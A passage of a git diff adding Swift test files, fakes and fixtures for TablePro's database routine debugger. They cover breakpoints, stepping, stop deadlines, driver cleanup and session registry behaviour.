RoutineDebugFixtures.controller( + drivers: drivers, + plan: RoutineDebugFixtures.plan(preparation: preparation), + confirmPreparation: { _ in + asked = true + await answer.wait() + return false + }, + withdrawPreparation: { Task { await answer.open() } } + ) + var cancelled = false + controller.onCancelled = { cancelled = true } + controller.start() + try await waitUntil { asked } + + controller.stop() + try await waitUntil { controller.hasEnded } + + #expect(!cancelled) + #expect(debugger.startRequests.isEmpty) + #expect(drivers.openedCount == 0) + guard case .stopped = controller.state else { + Issue.record("expected stopped, got \(controller.state)") + return + } + } + + @Test("A breakpoint the engine cannot place drops its marker") + func unplaceableBreakpointDropsItsMarker() async throws { + let session = FakeDebugSession(placesBreakpoint: { _ in nil }) + let (controller, _) = RoutineDebugFixtures.controller(session: session) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil && !controller.variables.isEmpty } + + controller.toggleBreakpoint(atLine: 1) + try await waitUntil { !session.placedBreakpointRequests.isEmpty } + try await waitUntil { controller.displayedBreakpointLines.isEmpty } + + #expect(!controller.hasBreakpoints) + controller.stop() + await controller.waitUntilEnded() + } + + @Test("A frame of the previous stack cannot be chosen while the next pause's stack loads, and a frame shows its own source and variables") + func frameSelectionWaitsForTheCurrentStack() async throws { + let caller = PluginDebugUnit(identity: "caller", displayName: "caller()") + let nextStack = AsyncGate() + let session = FakeDebugSession( + frames: [ + PluginDebugFrame(level: 0, location: nil, arguments: nil), + PluginDebugFrame(level: 1, location: PluginDebugLocation(unit: caller, line: 5), arguments: nil), + ], + laterStackGate: nextStack + ) + let (controller, _) = RoutineDebugFixtures.controller(session: session) + controller.start() + try await waitUntil { controller.stackIsCurrent && controller.displayedFrameLevel == 0 } + + controller.perform(.stepOver) + try await waitUntil { session.stackReadCount == 2 } + #expect(!controller.stackIsCurrent) + controller.selectFrame(level: 1) + #expect(controller.selectedFrameLevel != 1) + await nextStack.open() + try await waitUntil { controller.stackIsCurrent && session.variableReadLevels.count == 2 } + try await waitUntil { controller.displayedFrameLevel == 0 } + + #expect(session.variableReadLevels == [0, 0]) + #expect(controller.displayedUnit == FakeDebugSession.unit) + + controller.selectFrame(level: 1) + try await waitUntil { controller.displayedFrameLevel == 1 } + #expect(controller.displayedUnit == caller) + #expect(session.variableReadLevels.last == 1) + #expect(controller.executionLine == 5) + controller.stop() + try await waitUntil { controller.hasEnded } + } + + @Test("Stop during a slow read reaches the session at once, and its drivers close no earlier than the deadline") + func stopDuringReadIsNotQueued() async throws { + let reads = AsyncGate() + let blocker = AsyncGate() + let session = FakeDebugSession(stopBlocker: blocker, inspectGate: reads) + let drivers = DebugDriverLog() + let limit: Duration = .seconds(1) + let (controller, _) = RoutineDebugFixtures.controller(session: session, drivers: drivers, cancelLimit: limit) + controller.start() + try await waitUntil { session.sourceReadCount == 1 } + + let asked = ContinuousClock.now + controller.stop() + try await waitUntil(timeout: .milliseconds(500)) { session.stopCount == 1 } + #expect(session.stopOverlapCount == 1) + #expect(drivers.closedCount == 0) + try await waitUntil { controller.hasEnded } + + #expect(drivers.closedCount == 2) + #expect(drivers.closeInstants.allSatisfy { $0 >= asked.advanced(by: limit) }) + #expect(session.stackReadCount == 0) + #expect(controller.inspectionError == nil) + #expect(controller.statusText == RoutineDebugController.stopNotConfirmed) + await blocker.open() + } + + @Test("Drivers close as soon as the plugin answers the stop, before the deadline") + func driversCloseWhenStopReturns() async throws { + let reads = AsyncGate() + let session = FakeDebugSession(inspectGate: reads) + let drivers = DebugDriverLog() + let limit: Duration = .seconds(5) + let (controller, _) = RoutineDebugFixtures.controller(session: session, drivers: drivers, cancelLimit: limit) + controller.start() + try await waitUntil { session.sourceReadCount == 1 } + + let asked = ContinuousClock.now + controller.stop() + try await waitUntil { controller.hasEnded } + + #expect(session.stopCount == 1) + #expect(drivers.closedCount == 2) + #expect(drivers.closeInstants.allSatisfy { $0 < asked.advanced(by: limit) }) + #expect(controller.statusText == String(localized: "Stopped")) + } + + @Test("A new pause never shows the last pause's variables, even when its own fail to load") + func newPauseClearsVariables() async throws { + let session = FakeDebugSession(failsLaterVariables: true) + let (controller, _) = RoutineDebugFixtures.controller(session: session) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil && !controller.variables.isEmpty } + + controller.perform(.stepInto) + try await waitUntil { controller.state.pausedLocation?.line == 3 && controller.inspectionError != nil } + + #expect(controller.variables.isEmpty) + #expect(controller.displayedFrameLevel == nil) + controller.stop() + try await waitUntil { controller.hasEnded } + } + + @Test("Toggle Breakpoint and Remove All are offered only when they can act") + func breakpointCommandsValidate() async throws { + let (controller, _) = RoutineDebugFixtures.controller() + #expect(!controller.canToggleBreakpoint) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil && !controller.variables.isEmpty } + + #expect(!controller.canToggleBreakpoint) + controller.cursorLine = 3 + #expect(controller.canToggleBreakpoint) + #expect(!controller.canRemoveAllBreakpoints) + controller.toggleBreakpointAtCursor() + #expect(controller.canRemoveAllBreakpoints) + + controller.stop() + try await waitUntil { controller.hasEnded } + #expect(!controller.canToggleBreakpoint) + #expect(!controller.canRemoveAllBreakpoints) + } + + @Test("Toggle Breakpoint acts on the cursor's line") + func toggleAtCursor() async throws { + let (controller, _) = RoutineDebugFixtures.controller() + controller.start() + try await waitUntil { controller.state.pausedLocation != nil && !controller.variables.isEmpty } + + controller.cursorLine = 4 + controller.toggleBreakpointAtCursor() + try await waitUntil { controller.displayedBreakpointLines == [4] } + controller.removeAllBreakpoints() + + #expect(!controller.hasBreakpoints) + controller.stop() + await controller.waitUntilEnded() + } + + @Test("Output relayed as the routine finishes still reaches the tab") + func outputRelayedAtFinishIsKept() async throws { + let relay = AsyncGate() + let session = FakeDebugSession(relayedOutput: (gate: relay, lines: ["NOTICE: total is 1", "done"])) + let (controller, _) = RoutineDebugFixtures.controller(session: session) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil && !controller.variables.isEmpty } + + controller.perform(.continueExecution) + try await waitUntil { session.performedCommands == [.continueExecution] } + await relay.open() + try await waitUntil { controller.hasEnded } + + #expect(controller.outputLines == ["NOTICE: total is 1", "done"]) + guard case .finished = controller.state else { + Issue.record("expected finished, got \(controller.state)") + return + } + } + + @Test("A target whose stop never returns loses its connections at the limit") + func stuckTargetStopIsCapped() async throws { + let blocker = AsyncGate() + let session = FakeDebugSession(stopBlocker: blocker) + let drivers = DebugDriverLog() + let (controller, _) = RoutineDebugFixtures.controller( + session: session, + drivers: drivers, + cancelLimit: .milliseconds(50) + ) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + + controller.stop() + try await waitUntil { controller.hasEnded } + + #expect(session.stopCount == 1) + #expect(drivers.closedCount == 2) + #expect(controller.statusText == RoutineDebugController.stopNotConfirmed) + await blocker.open() + } + + @Test("Output lines from the session reach the tab") + func outputLinesArrive() async throws { + let session = FakeDebugSession() + let (controller, _) = RoutineDebugFixtures.controller(session: session) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + + session.emit("NOTICE: total is 0") + try await waitUntil { controller.outputLines == ["NOTICE: total is 0"] } + controller.stop() + await controller.waitUntilEnded() + } +} + +// Records what was asked and allows it, so a test can pin the request the run makes. +private final class RecordingGate: ExecutionGate, @unchecked Sendable { + private let lock = NSLock() + private var recorded: [OperationRequest] = [] + + var requests: [OperationRequest] { lock.withLock { recorded } } + + func authorize(_ request: OperationRequest) async -> OperationDecision { + lock.withLock { recorded.append(request) } + return await AlwaysAllowGate().authorize(request) + } +} diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugFakes.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugFakes.swift new file mode 100644 index 0000000000..d23ddaac3e --- /dev/null +++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugFakes.swift @@ -0,0 +1,452 @@ +// +// RoutineDebugFakes.swift +// TableProTests +// + +import Foundation +@testable import TablePro +import TableProPluginKit +import TableProTestSupport + +// How a statement sent to a fake driver behaves: at once, until its task is cancelled, or until a gate opens whatever +// happens to its task (a statement already on the server). +internal enum FakeStatementBehavior: Sendable { + case immediate + case untilCancelled + case untilOpened(AsyncGate) +} + +internal final class FakeDebugDriver: PluginDriverStub, @unchecked Sendable { + private let behavior: FakeStatementBehavior + private let onExecute: @Sendable () -> Void + + init(behavior: FakeStatementBehavior = .immediate, onExecute: @escaping @Sendable () -> Void = {}) { + self.behavior = behavior + self.onExecute = onExecute + } + + func execute(query: String) async throws -> PluginQueryResult { + onExecute() + switch behavior { + case .immediate: + break + case .untilCancelled: + // Stands for a statement that runs until the run gives up on it. + try await Task.sleep(for: .seconds(600)) + case .untilOpened(let gate): + await gate.wait() + } + return .empty + } +} + +// Counts what the host does with the drivers a session took, so a test can see every one was closed. +internal final class DebugDriverLog: @unchecked Sendable { + private let lock = NSLock() + private let statements: FakeStatementBehavior + private var opened = 0 + private var closed = 0 + private var executed = 0 + private var closes: [ContinuousClock.Instant] = [] + + init(statements: FakeStatementBehavior = .immediate) { + self.statements = statements + } + + var openedCount: Int { lock.withLock { opened } } + var closedCount: Int { lock.withLock { closed } } + var executedCount: Int { lock.withLock { executed } } + var closeInstants: [ContinuousClock.Instant] { lock.withLock { closes } } + + func source(admits: @escaping @Sendable () async -> Bool = { true }) -> RoutineDebugSessionSource { + RoutineDebugSessionSource(admits: admits) { [self] in + lock.withLock { opened += 1 } + let driver = FakeDebugDriver(behavior: statements) { [self] in + lock.withLock { executed += 1 } + } + return RoutineDebugDriverHandle(driver: driver) { [self] in + lock.withLock { + closed += 1 + closes.append(.now) + } + } + } + } +} + +internal final class FakeDebugSession: PluginDebugSession, @unchecked Sendable { + static let unit = PluginDebugUnit(identity: "16431", displayName: "order_total(integer)") + static let source = "BEGIN\n total := 0;\n total := total + 1;\n RETURN total;\nEND" + + let supportedCommands: Set + let output: AsyncStream + private let outputContinuation: AsyncStream.Continuation + private let lock = NSLock() + private let stopGate = AsyncGate() + private let firstStopLine: Int + private let performBlocksUntilStop: Bool + private let placesBreakpoint: (Int) -> Int? + private let stopBlocker: AsyncGate? + private let stepGate: AsyncGate? + private let placeGate: AsyncGate? + private let stopAnswer: PluginDebugStop + private let stopOutcome: PluginDebugStopOutcome + private let inspectGate: AsyncGate? + private let relayedOutput: (gate: AsyncGate, lines: [String])? + private let frames: [PluginDebugFrame] + private let laterStackGate: AsyncGate? + private let failsLaterVariables: Bool + private let performAnswer: PluginDebugStop? + private var calls: [String] = [] + private var removedBreakpoints: [PluginDebugBreakpoint] = [] + private var stepInFlight = false + private var overlaps = 0 + private var callsInFlight = 0 + private var stopOverlaps = 0 + private var stops = 0 + private var stopped = false + private var performs: [PluginDebugCommand] = [] + private var sourceReads = 0 + private var stackReads = 0 + private var variableReads: [Int] = [] + private var setBreakpoints: [PluginDebugBreakpoint] = [] + private var nextPerformLine: Int + + init( + supportedCommands: Set = [.continueExecution, .stepOver, .stepInto], + firstStopLine: Int = 2, + performBlocksUntilStop: Bool = false, + placesBreakpoint: @escaping (Int) -> Int? = { $0 }, + stopBlocker: AsyncGate? = nil, + stepGate: AsyncGate? = nil, + placeGate: AsyncGate? = nil, + stopAnswer: PluginDebugStop = .finished(nil), + stopOutcome: PluginDebugStopOutcome = .ended, + inspectGate: AsyncGate? = nil, + relayedOutput: (gate: AsyncGate, lines: [String])? = nil, + frames: [PluginDebugFrame] = [PluginDebugFrame(level: 0, location: nil, arguments: nil)], + laterStackGate: AsyncGate? = nil, + failsLaterVariables: Bool = false, + performAnswer: PluginDebugStop? = nil + ) { + self.supportedCommands = supportedCommands + self.firstStopLine = firstStopLine + self.performBlocksUntilStop = performBlocksUntilStop + self.placesBreakpoint = placesBreakpoint + self.stopBlocker = stopBlocker + self.stepGate = stepGate + self.placeGate = placeGate + self.stopAnswer = stopAnswer + self.stopOutcome = stopOutcome + self.inspectGate = inspectGate + self.relayedOutput = relayedOutput + self.frames = frames + self.laterStackGate = laterStackGate + self.failsLaterVariables = failsLaterVariables + self.performAnswer = performAnswer + self.nextPerformLine = firstStopLine + 1 + var continuation: AsyncStream.Continuation? + output = AsyncStream { continuation = $0 } + outputContinuation = continuation! + } + + var stopCount: Int { lock.withLock { stops } } + var performedCommands: [PluginDebugCommand] { lock.withLock { performs } } + var sourceReadCount: Int { lock.withLock { sourceReads } } + var stackReadCount: Int { lock.withLock { stackReads } } + var variableReadLevels: [Int] { lock.withLock { variableReads } } + var placedBreakpointRequests: [PluginDebugBreakpoint] { lock.withLock { setBreakpoints } } + var removedBreakpointRequests: [PluginDebugBreakpoint] { lock.withLock { removedBreakpoints } } + // Steps and breakpoint edits in the order they reached the session. + var callLog: [String] { lock.withLock { calls } } + // Calls other than `stop()` that arrived while a step was still waiting, which the contract forbids. + var overlappingCallCount: Int { lock.withLock { overlaps } } + // Stops that arrived while a read or a breakpoint edit was still out. + var stopOverlapCount: Int { lock.withLock { stopOverlaps } } + + private func beginCall() { + lock.withLock { + if stepInFlight { overlaps += 1 } + callsInFlight += 1 + } + } + + private func endCall() { + lock.withLock { callsInFlight -= 1 } + } + + // As the contract asks of a plugin: a read or an edit that `stop()` overlapped throws. + private func throwIfStopped() throws { + if lock.withLock({ stopped }) { + throw RoutineDebugError.sessionEnded + } + } + + func emit(_ line: String) { + outputContinuation.yield(line) + } + + func firstStop() async throws -> PluginDebugStop { + .paused(PluginDebugLocation(unit: Self.unit, line: firstStopLine)) + } + + func perform(_ command: PluginDebugCommand) async throws -> PluginDebugStop { + let line = lock.withLock { () -> Int in + if stepInFlight { overlaps += 1 } + stepInFlight = true + performs.append(command) + calls.append("perform \(command.rawValue)") + defer { nextPerformLine += 1 } + return nextPerformLine + } + defer { lock.withLock { stepInFlight = false } } + await stepGate?.wait() + if let performAnswer { return performAnswer } + if performBlocksUntilStop { + await stopGate.wait() + return stopAnswer + } + if let relayedOutput { + // The routine completes, and its output arrives a moment later from another task, as Oracle relays DBMS_OUTPUT. + let continuation = outputContinuation + Task { + await relayedOutput.gate.wait() + for line in relayedOutput.lines { + continuation.yield(line) + } + continuation.finish() + } + return .finished(nil) + } + return .paused(PluginDebugLocation(unit: Self.unit, line: line)) + } + + func source(of unit: PluginDebugUnit) async throws -> String { + beginCall() + defer { endCall() } + lock.withLock { sourceReads += 1 } + await inspectGate?.wait() + try throwIfStopped() + return Self.source + } + + // The first pause's stack comes at once; a later one waits for `laterStackGate`. + func stack() async throws -> [PluginDebugFrame] { + beginCall() + defer { endCall() } + let read = lock.withLock { () -> Int in + stackReads += 1 + return stackReads + } + if read > 1 { + await laterStackGate?.wait() + } + try throwIfStopped() + return frames + } + + func variables(inFrame level: Int) async throws -> [PluginDebugVariable] { + beginCall() + defer { endCall() } + let read = lock.withLock { () -> Int in + variableReads.append(level) + return variableReads.count + } + if failsLaterVariables, read > 1 { + throw RoutineDebugError.unsupported + } + return [ + PluginDebugVariable(name: "total", kind: .local, typeName: "integer", value: "0", isConstant: false), + PluginDebugVariable(name: "note", kind: .local, typeName: "text", value: nil, isConstant: false), + ] + } + + func setBreakpoint(_ breakpoint: PluginDebugBreakpoint) async throws -> PluginDebugBreakpoint? { + beginCall() + defer { endCall() } + lock.withLock { + setBreakpoints.append(breakpoint) + calls.append("set \(breakpoint.line)") + } + await placeGate?.wait() + try throwIfStopped() + return placesBreakpoint(breakpoint.line).map { + PluginDebugBreakpoint(unitIdentity: breakpoint.unitIdentity, line: $0) + } + } + + func removeBreakpoint(_ breakpoint: PluginDebugBreakpoint) async throws { + beginCall() + defer { endCall() } + lock.withLock { + removedBreakpoints.append(breakpoint) + calls.append("remove \(breakpoint.line)") + } + } + + // Ends every call still running at once, then confirms the stop when `stopBlocker` lets it. + func stop() async -> PluginDebugStopOutcome { + lock.withLock { + stops += 1 + stopped = true + if callsInFlight > 0 { stopOverlaps += 1 } + } + await stopGate.open() + await inspectGate?.open() + await placeGate?.open() + await laterStackGate?.open() + await stopBlocker?.wait() + outputContinuation.finish() + return stopOutcome + } +} + +internal struct FakeDebugError: LocalizedError, Sendable { + let message: String + var errorDescription: String? { message } +} + +internal enum FakeStartBehavior: Sendable { + case immediate + // The target's call is under way and waits for a breakpoint that never comes, until the start is cancelled. + case untilCancelled + // A plugin that never looks at cancellation and returns its session once the gate opens. + case ignoringCancellation(AsyncGate) + // Cancelled, the plugin cannot confirm its target ended and throws why. + case untilCancelledThenThrowing(any Error & Sendable) +} + +internal final class FakeRoutineDebugger: PluginRoutineDebugging, @unchecked Sendable { + let session: FakeDebugSession + private let driversPerSession: Int + private let startBehavior: FakeStartBehavior + private let lock = NSLock() + private var requests: [PluginDebugRequest] = [] + private var cancelled = false + + init(session: FakeDebugSession, driversPerSession: Int = 2, startBehavior: FakeStartBehavior = .immediate) { + self.session = session + self.driversPerSession = driversPerSession + self.startBehavior = startBehavior + } + + var startRequests: [PluginDebugRequest] { lock.withLock { requests } } + var startWasCancelled: Bool { lock.withLock { cancelled } } + + var canDebugRoutines: Bool { true } + + func debugTarget(for routine: PluginRoutineInfo) -> PluginDebugTarget? { + PluginDebugTarget(identity: routine.identity ?? routine.name, name: routine.name, schema: routine.schema, kindDisplayName: "Function") + } + + func debugTargets(schema: String?) async throws -> [PluginDebugTarget] { [] } + + func prepareDebug(_ target: PluginDebugTarget) async throws -> PluginDebugPlan { + RoutineDebugFixtures.plan() + } + + func startDebug(_ request: PluginDebugRequest, sessions: any PluginDebugSessionSource) async throws -> any PluginDebugSession { + lock.withLock { requests.append(request) } + for _ in 0.. PluginDebugPlan { + PluginDebugPlan(target: target, entryPoints: [entryPoint], mayWrite: mayWrite, preparation: preparation) + } + + @MainActor + static func controller( + session: FakeDebugSession = FakeDebugSession(), + drivers: DebugDriverLog = DebugDriverLog(), + plan: PluginDebugPlan = RoutineDebugFixtures.plan(), + gate: any ExecutionGate = AlwaysAllowGate(), + startBehavior: FakeStartBehavior = .immediate, + cancelLimit: Duration = .seconds(5), + admits: @escaping @Sendable () async -> Bool = { true }, + confirmPreparation: @escaping @MainActor (PluginDebugPreparation) async -> Bool = { _ in true }, + withdrawPreparation: @escaping @MainActor () -> Void = {} + ) -> (RoutineDebugController, FakeRoutineDebugger) { + let debugger = FakeRoutineDebugger(session: session, startBehavior: startBehavior) + let controller = RoutineDebugController( + plan: plan, + choice: RoutineDebugStartChoice( + entryPoint: entryPoint, + arguments: [PluginDebugArgument(parameterName: "id", value: .text("7"))], + optionValues: [:] + ), + connectionId: UUID(), + databaseType: .postgresql, + debugger: debugger, + sessionSource: drivers.source(admits: admits), + gate: gate, + cancelLimit: cancelLimit, + confirmPreparation: confirmPreparation, + withdrawPreparation: withdrawPreparation + ) + return (controller, debugger) + } +} + +// A gate still waiting on the person: it answers as Cancel once its task is cancelled, or, ignoring cancellation, as +// allowed when `answer` opens. +internal final class WaitingGate: ExecutionGate, @unchecked Sendable { + private let lock = NSLock() + private let answer: AsyncGate? + private var asked = 0 + private var cancelled = false + + init(ignoringCancellationUntil answer: AsyncGate? = nil) { + self.answer = answer + } + + var askedCount: Int { lock.withLock { asked } } + var sawCancellation: Bool { lock.withLock { cancelled } } + + func authorize(_ request: OperationRequest) async -> OperationDecision { + lock.withLock { asked += 1 } + if let answer { + await answer.wait() + return await AlwaysAllowGate().authorize(request) + } + do { + try await Task.sleep(for: .seconds(600)) + } catch { + lock.withLock { cancelled = true } + return .denied(reason: "Operation cancelled by user", cause: .cancelledByUser) + } + return .denied(reason: "No answer") + } +} diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugOptionStoreTests.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugOptionStoreTests.swift new file mode 100644 index 0000000000..f167756bef --- /dev/null +++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugOptionStoreTests.swift @@ -0,0 +1,64 @@ +// +// RoutineDebugOptionStoreTests.swift +// TableProTests +// + +import Foundation +@testable import TablePro +import Testing + +@MainActor +struct RoutineDebugOptionStoreTests { + private let pool = EphemeralDefaultsPool() + + private static func isolatedQueryHistory() -> QueryHistoryManager { + QueryHistoryManager( + storage: QueryHistoryStorage( + databaseURL: FileManager.default.temporaryDirectory + .appendingPathComponent("tablepro-tests") + .appendingPathComponent("debug_options_\(UUID().uuidString).db"), + removeDatabaseOnDeinit: true + ), + isCapturePaused: { false } + ) + } + + @Test("Deleting a connection removes its start options and keeps another connection's") + func connectionDeleteRemovesItsOptions() throws { + let defaults = try pool.make().defaults + let store = RoutineDebugOptionStore(defaults: { defaults }) + let deleted = UUID() + let kept = UUID() + store.save(["host": "10.0.0.5", "port": "4000"], connectionId: deleted) + store.save(["host": "10.0.0.9"], connectionId: kept) + + ConnectionLocalState.purge( + connectionIds: [deleted], + origin: .remote, + tableScopedStores: [], + queryHistory: Self.isolatedQueryHistory(), + defaults: defaults + ) + + #expect(store.value(for: "host", connectionId: deleted) == nil) + #expect(store.value(for: "port", connectionId: deleted) == nil) + #expect(store.value(for: "host", connectionId: kept) == "10.0.0.9") + } + + @Test("Reset All Settings removes every connection's start options and nothing else") + func resetRemovesAllOptions() throws { + let defaults = try pool.make().defaults + let store = RoutineDebugOptionStore(defaults: { defaults }) + let first = UUID() + let second = UUID() + store.save(["host": "10.0.0.5"], connectionId: first) + store.save(["port": "4000"], connectionId: second) + defaults.set("kept", forKey: "RoutineDebugOptionsUnrelated") + + AppSettingsStorage(userDefaults: defaults).resetToDefaults() + + #expect(store.value(for: "host", connectionId: first) == nil) + #expect(store.value(for: "port", connectionId: second) == nil) + #expect(defaults.string(forKey: "RoutineDebugOptionsUnrelated") == "kept") + } +} diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugSessionSourceTests.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugSessionSourceTests.swift new file mode 100644 index 0000000000..c6fae5f98a --- /dev/null +++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugSessionSourceTests.swift @@ -0,0 +1,86 @@ +// +// RoutineDebugSessionSourceTests.swift +// TableProTests +// + +import Foundation +@testable import TablePro +import TableProPluginKit +import TableProTestSupport +import Testing + +private final class StatementLog: @unchecked Sendable { + private let lock = NSLock() + private var statements: [String] = [] + private var closes = 0 + + var executed: [String] { lock.withLock { statements } } + var closedCount: Int { lock.withLock { closes } } + + func record(_ statement: String) { lock.withLock { statements.append(statement) } } + func recordClose() { lock.withLock { closes += 1 } } +} + +private final class StatementDriver: PluginDriverStub, @unchecked Sendable { + let log: StatementLog + + init(log: StatementLog) { + self.log = log + } + + func execute(query: String) async throws -> PluginQueryResult { + log.record(query) + return .empty + } +} + +@MainActor +struct RoutineDebugSessionSourceTests { + @Test("A preparation's statements run in order on a driver of their own, which is closed after") + func preparationUsesAndClosesItsOwnDriver() async throws { + let log = StatementLog() + let source = RoutineDebugSessionSource { + RoutineDebugDriverHandle(driver: StatementDriver(log: log)) { log.recordClose() } + } + + try await source.run(["ALTER PACKAGE p COMPILE", "ALTER PACKAGE p COMPILE BODY"]) + await source.closeAll() + + #expect(log.executed == ["ALTER PACKAGE p COMPILE", "ALTER PACKAGE p COMPILE BODY"]) + #expect(log.closedCount == 1) + } + + @Test("A driver still dialing when the session ends is closed and refused, never handed to the plugin") + func lateDriverIsClosed() async throws { + let log = StatementLog() + let dialing = AsyncGate() + let source = RoutineDebugSessionSource { + await dialing.wait() + return RoutineDebugDriverHandle(driver: StatementDriver(log: log)) { log.recordClose() } + } + + let opening = Task { try await source.openSession() } + await dialing.arrived(1) + await source.closeAll() + await dialing.open() + + await #expect(throws: RoutineDebugError.sessionEnded) { _ = try await opening.value } + #expect(log.closedCount == 1) + await #expect(throws: RoutineDebugError.sessionEnded) { _ = try await source.openSession() } + } + + @Test("Ending the session closes every driver it opened, once") + func closeAllClosesEachDriverOnce() async throws { + let log = StatementLog() + let source = RoutineDebugSessionSource { + RoutineDebugDriverHandle(driver: StatementDriver(log: log)) { log.recordClose() } + } + + _ = try await source.openSession() + _ = try await source.openSession() + await source.closeAll() + await source.closeAll() + + #expect(log.closedCount == 2) + } +} diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugSessionsTests.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugSessionsTests.swift new file mode 100644 index 0000000000..ab03edd386 --- /dev/null +++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugSessionsTests.swift @@ -0,0 +1,304 @@ +// +// RoutineDebugSessionsTests.swift +// TableProTests +// + +import AppKit +import Foundation +@testable import TablePro +import TableProPluginKit +import TableProTestSupport +import Testing + +@MainActor +private final class UnconfirmedStopRecorder { + private(set) var texts: [String?] = [] + private(set) var windows: [NSWindow?] = [] + + func record(_ controller: RoutineDebugController, _ window: NSWindow?) { + texts.append(controller.unconfirmedStop) + windows.append(window) + } +} + +@MainActor +struct RoutineDebugSessionsTests { + @Test("Stopping a connection's runs closes their drivers at the caller's deadline when a target cannot be reached") + func stopAllSharesItsDeadline() async throws { + let blocker = AsyncGate() + let session = FakeDebugSession(stopBlocker: blocker) + let drivers = DebugDriverLog() + let (controller, _) = RoutineDebugFixtures.controller(session: session, drivers: drivers, cancelLimit: .seconds(30)) + let registry = RoutineDebugSessions(isModuleEnabled: { true }) + let connectionId = UUID() + registry.register(controller, tabId: UUID(), connectionId: connectionId) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + + let timeout: Duration = .milliseconds(200) + let asked = ContinuousClock.now + await registry.stopAll(connectionId: connectionId, timeout: timeout) + #expect(ContinuousClock.now >= asked.advanced(by: timeout)) + try await waitUntil(timeout: .seconds(2)) { controller.hasEnded } + + #expect(session.stopCount == 1) + #expect(drivers.closedCount == 2) + #expect(drivers.closeInstants.allSatisfy { $0 >= asked.advanced(by: timeout) }) + #expect(controller.statusText == RoutineDebugController.stopNotConfirmed) + await blocker.open() + } + + @Test("Closing the tab while the debugger is still starting cancels the start and closes its drivers") + func endSessionWhileStarting() async throws { + let session = FakeDebugSession() + let drivers = DebugDriverLog() + let (controller, debugger) = RoutineDebugFixtures.controller( + session: session, + drivers: drivers, + startBehavior: .untilCancelled + ) + let registry = RoutineDebugSessions(isModuleEnabled: { true }) + let tabId = UUID() + registry.register(controller, tabId: tabId, connectionId: UUID()) + controller.start() + try await waitUntil { drivers.openedCount == 2 } + + registry.endSession(forTab: tabId) + try await waitUntil { controller.hasEnded } + + #expect(debugger.startWasCancelled) + #expect(drivers.closedCount == 2) + guard case .stopped = controller.state else { + Issue.record("expected stopped, got \(controller.state)") + return + } + try await waitUntil { !registry.hasActiveSessions } + } + + @Test("A start racing a connection's stop is refused and opens no driver; after the reconnect a fresh start works") + func admissionFence() async throws { + let registry = RoutineDebugSessions(isModuleEnabled: { true }) + let connectionId = UUID() + let staleGeneration = registry.admissionGeneration(for: connectionId) + let staleDrivers = DebugDriverLog() + let (stale, _) = RoutineDebugFixtures.controller(drivers: staleDrivers, admits: { + await registry.admits(connectionId, generation: staleGeneration) + }) + + await registry.stopAll(connectionId: connectionId) + #expect(!registry.register(stale, tabId: UUID(), connectionId: connectionId, generation: staleGeneration)) + stale.start() + try await waitUntil { stale.hasEnded } + #expect(staleDrivers.openedCount == 0) + guard case .failed(let message) = stale.state else { + Issue.record("expected failed, got \(stale.state)") + return + } + #expect(message == RoutineDebugError.connectionChanged.localizedDescription) + + registry.reopenAdmission(for: connectionId) + #expect(!registry.admits(connectionId, generation: staleGeneration)) + let freshGeneration = registry.admissionGeneration(for: connectionId) + let freshDrivers = DebugDriverLog() + let (fresh, _) = RoutineDebugFixtures.controller(drivers: freshDrivers, admits: { + await registry.admits(connectionId, generation: freshGeneration) + }) + #expect(registry.register(fresh, tabId: UUID(), connectionId: connectionId, generation: freshGeneration)) + fresh.start() + try await waitUntil { fresh.state.pausedLocation != nil } + #expect(freshDrivers.openedCount == 2) + fresh.stop() + try await waitUntil { fresh.hasEnded } + } + + @Test("A run counts as active until its tab's stop has finished") + func activeUntilStopped() async throws { + let registry = RoutineDebugSessions(isModuleEnabled: { true }) + let (controller, _) = RoutineDebugFixtures.controller() + let tabId = UUID() + #expect(!registry.hasActiveSessions) + + registry.register(controller, tabId: tabId, connectionId: UUID()) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + #expect(registry.hasActiveSessions) + + registry.endSession(forTab: tabId) + #expect(registry.controller(forTab: tabId) == nil) + try await waitUntil { !registry.hasActiveSessions } + #expect(controller.hasEnded) + } + + @Test("Turning the module off during a preparation statement closes its driver, and the session never starts") + func moduleOffDuringPreparationStatement() async throws { + let center = NotificationCenter() + let registry = RoutineDebugSessions(isModuleEnabled: { false }, notificationCenter: center) + let drivers = DebugDriverLog(statements: .untilCancelled) + let preparation = PluginDebugPreparation( + message: "Compile for debugging?", + informativeText: nil, + actionTitle: "Compile for Debug", + statements: ["ALTER PACKAGE p COMPILE BODY"] + ) + let (controller, debugger) = RoutineDebugFixtures.controller( + drivers: drivers, + plan: RoutineDebugFixtures.plan(preparation: preparation) + ) + registry.register(controller, tabId: UUID(), connectionId: UUID()) + controller.start() + try await waitUntil { drivers.executedCount == 1 } + + center.post(name: .appModulesDidChange, object: AppModule.routineDebugger) + try await waitUntil { controller.hasEnded } + + #expect(drivers.closedCount == 1) + #expect(debugger.startRequests.isEmpty) + guard case .stopped = controller.state else { + Issue.record("expected stopped, got \(controller.state)") + return + } + try await waitUntil { !registry.hasActiveSessions } + } + + @Test("Turning the module off while the gate is still asking withdraws it, ends the run and drops the observer") + func moduleOffWhileTheGateAsks() async throws { + let center = NotificationCenter() + let registry = RoutineDebugSessions(isModuleEnabled: { false }, notificationCenter: center) + let gate = WaitingGate() + let (controller, debugger) = RoutineDebugFixtures.controller(gate: gate) + registry.register(controller, tabId: UUID(), connectionId: UUID()) + controller.start() + try await waitUntil { gate.askedCount == 1 } + + center.post(name: .appModulesDidChange, object: AppModule.routineDebugger) + try await waitUntil { 